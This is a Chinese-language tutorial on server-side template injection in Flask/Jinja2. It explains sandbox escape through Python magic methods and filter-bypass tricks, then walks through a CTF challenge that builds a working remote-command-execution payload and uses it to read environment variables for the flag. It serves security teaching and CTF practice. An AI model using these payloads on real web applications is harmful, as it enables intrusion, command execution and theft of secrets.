概念
定義
服務器端模板注入(Server-Side Template Injection)
服務端接受攻擊者的輸入,將其作為Web應用內容的一部分,在進行代碼編譯渲染的過程中,進行了語句的拼接,執行了所插入的惡意內容,從而導致信息泄露、代碼執行、GetShell等問題
模板引擎和渲染函數本身是沒有漏洞的,該漏洞的產生原因在于程序員對代碼的不嚴謹與不規范,導致了模板內容對用戶可控,從而引發代碼注入
主要框架
- Python: jinja2、mako、tomado、django
- Php: smarty、twig
- Java: jade、velocaity
典型:動態歡迎語
引擎判斷
Flask模版
Flask框架是python的Web開發框架,他使用的模板引擎是Jinja2
Flask中的渲染方法有兩種:
render_template()
:用于渲染指定的文件render_template_string()
:用于渲染一個字符串,是產生模板注入的主要函數
渲染引擎Jinja2會將{{xxx}}視為變量標識符,會將其中包含的內容作為變量處理,從而包裹的語句被執行
但是由于模板本身帶有沙盒安全機制,有自己獨立的代碼執行環境,并不能實現任意代碼執行
沙箱逃逸
當前對象所屬的類沒有想用的函數和方法,可以嘗試找父類以及父類的其他子類,獲取可利用的函數和方法
沙箱逃逸流程
- 找到變量對象所屬的類
- 回溯基類
- 查看父類的所有子類
- 篩選可利用子類
- 構造Payload
可利用魔術方法
方法 | 描述 |
__class__ | 返回對象所屬的類 |
__bases__ 或 __mro__ | 返回該類的所有父類 |
__subclasses__() | 返回繼承該類的所有子類 |
__init__ | 返回類的初始化方法 |
__globals__ | 返回當前位置所有可用的全局變量 |
可利用類和方法
Python3方法
os._wrap_close類(命令執行)
- system方法
os.system('命令')
- popen方法
os.popen('文件或命令).read()
Python2方法
file類(文件讀取)
- 用法:
file('文件地址').read()
warnings類中的linecache方法
- 用法:
.__init__.func_globals['linecache'].os.popen('命令').read()}}
通用方法
__builtins__代碼執行
該方法下存在eval
和__import__
函數,都可以用于命令執行
很多類下都包含 __builtins__方法,如warnings.catch_warnings
、email.header._ValueFormatter
等
如果有很多個類的情況下,可以寫個腳本批量執行每個類的__builtins__方法,確定是否存在此方法,存在即可利用
- 用法:
類()._module.__builtins__.__import__.(os).popen('系統命令').read()}}
繞過方法
過濾??.
- 可以用['']來代替
- ['import'] === .import.
- 可以使用attr()
- 對象|attr('方法')
- 可以使用getattr()
- 對象getattr((),"方法")
過濾下劃線_
編碼繞過
- 下劃線hex編碼后\x5f
- 點編碼后為\x2E
特殊字符過濾
- 可用字符拼接繞過
- 如system==='sys'+'tem' (加號可用可不用)
- 用join拼接
- 如system===attr(['sys','tem']|join)
取值中括號被禁用
可用__getitem__或pop來代替
魔術方法中括號被禁用
可用__getattribute__("方法")替代
CTF例題
某個實驗性筆記網站允許用戶輸入名字生成動態歡迎語,但似乎存在安全隱患。你能找到藏在服務器上的FLAG1嗎?
1. 引擎判斷
輸入:{{2+3}}
,返回
雙括號內的內容執行了,下一步填入{{7*'7'}}檢查返回結果
可以判斷為是jinja2框架
由于雙括號內的內容會執行,所以可以把要執行的方法放在雙括號之間進行測試
2. 查看當前類
輸入:{{''.__class__}}
注意__class__
前要加上''.
,''
代表一個對象
確定當前類名為 str
3. 查看父類
輸入:{{''.__class__.__bases__}}
4. 查看父類的其他子類
輸入:{{''.__class__.__bases__[0].__subclasses__()}}
注意{{''.__class__.__bases__}}
返回的內容是個數組,所以如果想查看父類的其他子類時需要加上下標,比如這里是{{''.__class__.__bases__[0]}}
5. 確定可利用類
有很多類,我們需要判斷出可利用的類有哪些
- 方法一是直接檢索常見的可利用類,比如
warnings.catch_warnings
等 - 方法二是可以寫個腳本批量執行每個類的__builtins__方法,確定是否存在此方法,存在即可利用
這里我們先利用方法一,可以檢索到存在warnings.catch_warnings
{{''.__class__.__bases__[0].__subclasses__()}}
返回的內容同樣是個數組,所以我們需要知道warnings.catch_warnings
類在數組中的下標才可以利用,可以直接數出在第幾個,也可以寫個腳本跑出來:
# 全文復制到雙引號內
list = "......".split(", ")cnt = 0
for className in list:if "warnings.catch_warnings" in className:breakelse:cnt += 1
print(cnt)
執行腳本輸出166
輸入:{{''.__class__.__bases__[0].__subclasses__()[166]}}
獲取到可利用類
6. 具體利用與繞過
warnings.catch_warnings
的一般利用方式為:
類()._module.__builtins__.__import__.(os).popen('系統命令').read()}}
所以輸入的內容為:
{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__.__import__.(os).popen('系統命令').read()}}
可能會有一些字符被過濾,我們可以一步步嘗試
輸入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module}}
,輸出正常
輸入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__}}
,輸出正常
輸入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__.__import__}}
,輸出異常
__import__
觸發了過濾,屬于特殊字符過濾,嘗試繞過:
輸入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']}}
,輸出正常
輸入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__'](os)}}
,輸出異常
(os)
觸發了過濾,屬于特殊字符過濾,嘗試繞過:
輸入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']('o''s')}}
,輸出正常
輸入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']('o''s').popen('pwd')}}
,輸出正常
輸入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']('o''s').popen('pwd').read()}}
,輸出正常
之后就可以執行任意命令了
搜尋了一陣,發現沒有與flag相關的文件
flag還有可能藏在環境變量中!
輸入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']('o''s').popen('env').read()}}
或者
輸入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']('o''s').environ}}
成功找到flag